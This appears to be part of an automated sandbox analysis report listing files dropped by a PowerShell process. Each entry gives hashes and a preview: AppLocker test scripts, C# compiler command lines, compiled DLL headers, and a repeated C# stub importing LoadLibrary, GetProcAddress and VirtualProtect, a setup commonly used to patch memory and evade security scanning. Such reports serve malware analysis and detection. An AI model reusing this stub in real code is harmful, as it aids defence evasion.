SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vnyizoqo.bov.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xmpmeisg.il4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z51pa14d.4cr.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\amlysbvw\CSC2A1C7825B77E498896BC74C8D6453DCB.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.096662209103156
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gry+fGak7YnqqlfXPN5Dlq5J:+RI+ycuZhNEfGakSlfXPNnqX
MD5:	ED575D35B40FFB4E2769D8CC967E77C3
SHA1:	A66553A2B31CA4CF2FF7ECEF40D4B009AA275411
SHA-256:	A5A23759CD4323BD3328A85749F7B0E3AC1EABDCDC2C5B11ECEEEE9EA8C98A84
SHA-512:	FB473FB59A653DFF14886E26075B4881B0E1C422475F4E8C56A7694F9395014E9756A5BCF002795519C81426FFA7C5CB39A272C539C330FCDF882E6113B871A3
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...a.m.l.y.s.b.v.w...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...a.m.l.y.s.b.v.w...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\amlysbvw\amlysbvw.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	1140
Entropy (8bit):	4.751587839856729
Encrypted:	false
SSDEEP:	24:JjajwGHNw7+qFhL/+PS+oXG4mnF1D7ZTHtws4bx:JjaEGHNw7+Ib+6+oXZIF17Zrtws4bx
MD5:	FE35992F552A2057291C867108A5C2EB
SHA1:	3359CC35D11E68B353BBF06D03F1A9937E2689EE
SHA-256:	C6CD29B3B2981C29538DEB9B4445A10EC4993E93F058621F49E6AE294B4B6D1F
SHA-512:	8E639DB3A4696FFD380C495CF816B2571656D51AEA0B3DA75FBFC7151F1DE704FE1508FF61C95FC2AC2EF230FD6FEE48536C074D71F025675103B737128E9DFF
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..public class MyUtilityClass {. // Renamed class for clarity.. // Additional variables. private const string Kernel32Library = "kernel32";. . // Function declarations. [DllImport(Kernel32Library)]. public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);.. [DllImport(Kernel32Library)]. public static extern IntPtr LoadLibrary(string name);.. [DllImport(Kernel32Library)]. public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);.. // Additional method for clarity. public static IntPtr LoadLibraryAndGetProcAddress(string libraryName, string procName) {. IntPtr hModule = LoadLibrary(libraryName);. if (hModule == IntPtr.Zero) {. throw new Exception("Failed to load library: " + libraryName);. }.. IntPtr procAddress = GetProcAddress(hModule, procName);. if (procAddress == In

C:\Users\user\AppData\Local\Temp\amlysbvw\amlysbvw.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (368), with no line terminators
Category:	dropped
Size (bytes):	371
Entropy (8bit):	5.190309178545307
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2923f1lgcX0zxs7+AEszI923f1lgcjFHn:p37Lvkmb6KzdlgC0WZE2dlg+n
MD5:	BC48CD43E5B304FC24162C682052A7F0
SHA1:	5A70C910C03F462805772C46540D0116352CA62C
SHA-256:	AACD870E340AAD51FA5207E5B3AEAEF080A0B1CCE1FE15D77229A862EC2EA2A7
SHA-512:	49636BB0AC4E41772E57EB4A54BAB415303B855B003494CD8DB978300FD956AE78A0074F7D091161A450F0FFBE32B8D2960DB549C47BE701D97083B43D444B22
Malicious:	false
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\amlysbvw\amlysbvw.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\amlysbvw\amlysbvw.0.cs"

C:\Users\user\AppData\Local\Temp\amlysbvw\amlysbvw.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.9792646093338893
Encrypted:	false
SSDEEP:	48:67pLNvhfeRPBFLnKhSJvCXumwNnvV1ulEea3ldq:wJhfeR5dhpnGOeKl
MD5:	1EE29420F62FCDABD94D478B8EE6A41B
SHA1:	6C8268278E3A77C142B0C0A71A577B268B03087A
SHA-256:	D84F7DB9DDB1BCC8B0DA5194CA7F06A4487D3315FEA0EC4BEB3F4DCEAE19908B
SHA-512:	F77D308B8E57BC0CF52CA466ECD0301FCDDAD525B1DFDEACFB56E6C838EC953D5A15B4F3F991EFDA11881C55B437CEE8E20D95A3621EE98813F6FE8BA16DC595
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f...........!.................%... ...@....... ....................................@..................................%..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................%......H........ ...............................................................0..M........(......~....(....,.r...p.(....s....z..(......~....(....,.r3..p.(....s....z...(.......BSJB............v4.0.30319......l.......#~..$.......#Strings........x...#US.d.......#GUID...t.......#Blob...........W.........%3........................................................................6./.........5.....U.....\|......./...../...../.............................Q.=.......... M............ \.$...

C:\Users\user\AppData\Local\Temp\amlysbvw\amlysbvw.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (451), with CRLF, CR line terminators
Category:	modified
Size (bytes):	872
Entropy (8bit):	5.297034949740312
Encrypted:	false
SSDEEP:	24:KMoId3ka6KzdpE2dVuKax5DqBVKVrdFAMBJTH:dokka6adpE2dwK2DcVKdBJj
MD5:	7CD17DFFDF8C0D551F39568BD45D835D
SHA1:	9F6F971F932AF187F56D91DD43A6E1D9036F3FD3
SHA-256:	AD96940364874AEEC66790DCAA46199262E131BCC4F87ABDCDF1996E352579A4
SHA-512:	80FA8E9C8090E066EFA23C2E0A66468A6CB186BA0EC723E26796C7B661BD204592B4B4795C4A4276C30B78E82AE256EF1A1023B8F8CEF3DB1AAF2F1A2A8CE90D
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\amlysbvw\amlysbvw.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\amlysbvw\amlysbvw.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\moha2pjv\CSCA4149D862A5C4366874B2835B59D82E1.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.1109192050472942
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5grys3Eak7Ynqqn3JPN5Dlq5J:+RI+ycuZhNWUakSn5PNnqX
MD5:	DAAFF340342FBD8065268FE0E56BCEA4
SHA1:	B16797C1FBA6959F959EEC50D75C8235617044FB
SHA-256:	386BF62CB01EBFC0F096C0CDB150D29062D02B3482744749EF464DCDCFD633F5
SHA-512:	B0C707B432637F0E66EFD6D8FD9FFCA124F65CA43ACE19D47723C3DB2EF6498118045EB2C8622B05F3BFF767C51C0F0EE14A5ABAC00822840A9BF78104CD6452
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...m.o.h.a.2.p.j.v...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...m.o.h.a.2.p.j.v...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\moha2pjv\moha2pjv.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	1140
Entropy (8bit):	4.751587839856729
Encrypted:	false
SSDEEP:	24:JjajwGHNw7+qFhL/+PS+oXG4mnF1D7ZTHtws4bx:JjaEGHNw7+Ib+6+oXZIF17Zrtws4bx
MD5:	FE35992F552A2057291C867108A5C2EB
SHA1:	3359CC35D11E68B353BBF06D03F1A9937E2689EE
SHA-256:	C6CD29B3B2981C29538DEB9B4445A10EC4993E93F058621F49E6AE294B4B6D1F
SHA-512:	8E639DB3A4696FFD380C495CF816B2571656D51AEA0B3DA75FBFC7151F1DE704FE1508FF61C95FC2AC2EF230FD6FEE48536C074D71F025675103B737128E9DFF
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..public class MyUtilityClass {. // Renamed class for clarity.. // Additional variables. private const string Kernel32Library = "kernel32";. . // Function declarations. [DllImport(Kernel32Library)]. public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);.. [DllImport(Kernel32Library)]. public static extern IntPtr LoadLibrary(string name);.. [DllImport(Kernel32Library)]. public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);.. // Additional method for clarity. public static IntPtr LoadLibraryAndGetProcAddress(string libraryName, string procName) {. IntPtr hModule = LoadLibrary(libraryName);. if (hModule == IntPtr.Zero) {. throw new Exception("Failed to load library: " + libraryName);. }.. IntPtr procAddress = GetProcAddress(hModule, procName);. if (procAddress == In

C:\Users\user\AppData\Local\Temp\moha2pjv\moha2pjv.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (368), with no line terminators
Category:	dropped
Size (bytes):	371
Entropy (8bit):	5.257924636938366
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2923fjOzxs7+AEszI923fjD:p37Lvkmb6KzCWZE2H
MD5:	4A91ACCF5F65085BC5CC9F011F9E90F7
SHA1:	E2ED73E30E4D6678944EB52CE7AA422EF0C7DEB2
SHA-256:	454619C16B3FC0CD0DF81684102A3FB4FB732820BFB9DD1A6232E0A7A84D7C2B
SHA-512:	3633E825ABED95C45E777033A739EB7AF29575043721CE68D3698394ED50004247CAFF09DA49722A6BEB5272C3933E7C3A1B1F1693672FBEF5DC4CB7FE104470
Malicious:	false
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\moha2pjv\moha2pjv.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\moha2pjv\moha2pjv.0.cs"

C:\Users\user\AppData\Local\Temp\moha2pjv\moha2pjv.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.987704932401919
Encrypted:	false
SSDEEP:	48:67pLNvhfeRPBFLRKhSJBCXumwxvV1ulWUa3n7q:wJhfeR5dxtGVK
MD5:	5269CE74332558209F44A0EC5A9B3676
SHA1:	36D8F88A64D699458A4B1A94F6C2CE220B84F129
SHA-256:	B3964FFD42DAF2A397E69AC75D25D2E04639FAD4FC9FE921AF6D0BCECC176432
SHA-512:	9B31571F64574285317E72D48E9D05025E3C69F25404337D99B7480F89A8D8C4B1A2D822724E53EA95D37882AD2A7AA63956317B99CB5E39DAA57B75C504CE71
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f...........!.................%... ...@....... ....................................@..................................%..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................%......H........ ...............................................................0..M........(......~....(....,.r...p.(....s....z..(......~....(....,.r3..p.(....s....z...(.......BSJB............v4.0.30319......l.......#~..$.......#Strings........x...#US.d.......#GUID...t.......#Blob...........W.........%3........................................................................6./.........5.....U.....\|......./...../...../.............................Q.=.......... M............ \.$...

C:\Users\user\AppData\Local\Temp\moha2pjv\moha2pjv.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (451), with CRLF, CR line terminators
Category:	modified
Size (bytes):	872
Entropy (8bit):	5.313899002619811
Encrypted:	false
SSDEEP:	24:KMoId3ka6KzzE2OKax5DqBVKVrdFAMBJTH:dokka6azE2OK2DcVKdBJj
MD5:	42E1F70F6887D4776D7B817B7C4316F5
SHA1:	50C56F9ADFE57AC7AEAFE775AC7F21B0A1504E85
SHA-256:	2A29BAB37FD31C88BDDC272AA057A0D6F08BA4F07590D49A9CD1C86D8517F7C6
SHA-512:	33A4D90D915A00774FEFEDF05A2C58DE91F11A9D4CE3C5A04F4870C6F33AFC499BE1FE3154A34ABC98562ABDCD17A2E012C6225C4D6F75D75FC8A5C6AB0F26EA
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\moha2pjv\moha2pjv.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\moha2pjv\moha2pjv.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\nkfeparf\CSC893044B012DD471D94F368B2CDB922.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.0808235701421234
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gry+agYak7YnqqzagNPN5Dlq5J:+RI+ycuZhNiYakSlNPNnqX
MD5:	F65999A3595F21231B3C95B5E2B2DE57
SHA1:	D2BDA85D1C47D1B3EE9407066C1385E4BCA808A9
SHA-256:	3F04B78E6DF6C1AF7F36C03278194655715BDD1B64D09744D46CCAE2BF818164
SHA-512:	EFA31CDC0BABE0359DF3A962DCA3D8D3F79D7561B6636795F41051DDCA1BBFD90C82799E26C10798C1741A90E521C4527A5745D32DE32C588F149621D9306776
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...n.k.f.e.p.a.r.f...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...n.k.f.e.p.a.r.f...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\nkfeparf\nkfeparf.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	1140
Entropy (8bit):	4.751587839856729
Encrypted:	false
SSDEEP:	24:JjajwGHNw7+qFhL/+PS+oXG4mnF1D7ZTHtws4bx:JjaEGHNw7+Ib+6+oXZIF17Zrtws4bx
MD5:	FE35992F552A2057291C867108A5C2EB
SHA1:	3359CC35D11E68B353BBF06D03F1A9937E2689EE
SHA-256:	C6CD29B3B2981C29538DEB9B4445A10EC4993E93F058621F49E6AE294B4B6D1F
SHA-512:	8E639DB3A4696FFD380C495CF816B2571656D51AEA0B3DA75FBFC7151F1DE704FE1508FF61C95FC2AC2EF230FD6FEE48536C074D71F025675103B737128E9DFF
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..public class MyUtilityClass {. // Renamed class for clarity.. // Additional variables. private const string Kernel32Library = "kernel32";. . // Function declarations. [DllImport(Kernel32Library)]. public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);.. [DllImport(Kernel32Library)]. public static extern IntPtr LoadLibrary(string name);.. [DllImport(Kernel32Library)]. public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);.. // Additional method for clarity. public static IntPtr LoadLibraryAndGetProcAddress(string libraryName, string procName) {. IntPtr hModule = LoadLibrary(libraryName);. if (hModule == IntPtr.Zero) {. throw new Exception("Failed to load library: " + libraryName);. }.. IntPtr procAddress = GetProcAddress(hModule, procName);. if (procAddress == In

C:\Users\user\AppData\Local\Temp\nkfeparf\nkfeparf.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (368), with no line terminators
Category:	dropped
Size (bytes):	371
Entropy (8bit):	5.1810475483026055
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2923f4Wf+zxs7+AEszI923f4W7n:p37Lvkmb6KzwWmWZE2wW7
MD5:	5E74558636A6C7E8731A951D9842BDDE
SHA1:	2CCD59D737AC90A25C0BD9E54B5871D0024483A2
SHA-256:	D1D9562383628BAE7E05380A7D932A89E29707D16DDEF2ABFD894C5D4A406348
SHA-512:	6759D91026E782688BB9DAC47E2027438FA2571060B92CD73F58A565D47D9642115CD48A08C6BB38AE2706E631410BD837849D0700070E1056AD0300A399A602
Malicious:	false
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\nkfeparf\nkfeparf.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\nkfeparf\nkfeparf.0.cs"

C:\Users\user\AppData\Local\Temp\nkfeparf\nkfeparf.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.9824036890156447
Encrypted:	false
SSDEEP:	48:6IpLNvhfeRPBFLVKhSJhCXumw6vV1ul5a3Fq:/JhfeR5dt+GrK
MD5:	60CBEA64AE2066FE7155BA052614AD92
SHA1:	41BA2C02BD771ABEC05086E93A0E3949978A5A9D
SHA-256:	7D2DF3868554F82C27F38573ABC8D0262D6C371CEB8F42CFF39DF32FAB46B175
SHA-512:	2D473282ED5C2EC62CAC460E26B084F6B1B2E73A37977ACEC52FDCDFFC8553D656BF84FDA5D5AC4BEB29E5F3D087DB3C3541A1C8133839B8D3CFAF1120D940A8
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f...........!.................%... ...@....... ....................................@..................................%..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................%......H........ ...............................................................0..M........(......~....(....,.r...p.(....s....z..(......~....(....,.r3..p.(....s....z...(.......BSJB............v4.0.30319......l.......#~..$.......#Strings........x...#US.d.......#GUID...t.......#Blob...........W.........%3........................................................................6./.........5.....U.....\|......./...../...../.............................Q.=.......... M............ \.$...

C:\Users\user\AppData\Local\Temp\nkfeparf\nkfeparf.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (451), with CRLF, CR line terminators
Category:	modified
Size (bytes):	872
Entropy (8bit):	5.27798451823096
Encrypted:	false
SSDEEP:	24:KMoId3ka6KzfE2yKax5DqBVKVrdFAMBJTH:dokka6afE2yK2DcVKdBJj
MD5:	31E4F9534D1080E9D772DDCE0458D251
SHA1:	DDB71BDEA0C2663514ED754FF4E12C11CDC423BB
SHA-256:	6418A778F48AE20DF6A302B41851B9D3FD6E06C4EBE119D590512D0613EDB2AE
SHA-512:	05E005A5897900212E7DE88AECA460246BFBEBFF1676D159B003B7C6A66875B0961CF74D6B07D5038B2B1782DB982D063BA1D879B1C284BD1529F9B36C904318
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\nkfeparf\nkfeparf.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\nkfeparf\nkfeparf.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\txglqdpo\CSCFCCF7DA9204A4074A4DB161ACEE12220.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.0944730967034952
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gry/dak7YnqqiyPN5Dlq5J:+RI+ycuZhN9dakSiyPNnqX
MD5:	455150567BA3D126362496E1972E3F56
SHA1:	6644B4789B13E4E9B1ADCB2CA88A7021B4692461
SHA-256:	69CDD0B0270F6210CEA1FB077CF570FA2F5F92ADF89C84E304C4361AB9393816
SHA-512:	49C9016165DF306FC9D2E8D80625F33146B6B1CBD2976CE54687A3F1D6919B5A687012605BDEFF8410D662066383E4ABAB7C99271C12BF6C4BB36A98540AA4FD
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...t.x.g.l.q.d.p.o...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...t.x.g.l.q.d.p.o...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\txglqdpo\txglqdpo.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	1140
Entropy (8bit):	4.751587839856729
Encrypted:	false
SSDEEP:	24:JjajwGHNw7+qFhL/+PS+oXG4mnF1D7ZTHtws4bx:JjaEGHNw7+Ib+6+oXZIF17Zrtws4bx
MD5:	FE35992F552A2057291C867108A5C2EB
SHA1:	3359CC35D11E68B353BBF06D03F1A9937E2689EE
SHA-256:	C6CD29B3B2981C29538DEB9B4445A10EC4993E93F058621F49E6AE294B4B6D1F
SHA-512:	8E639DB3A4696FFD380C495CF816B2571656D51AEA0B3DA75FBFC7151F1DE704FE1508FF61C95FC2AC2EF230FD6FEE48536C074D71F025675103B737128E9DFF
Malicious:	false
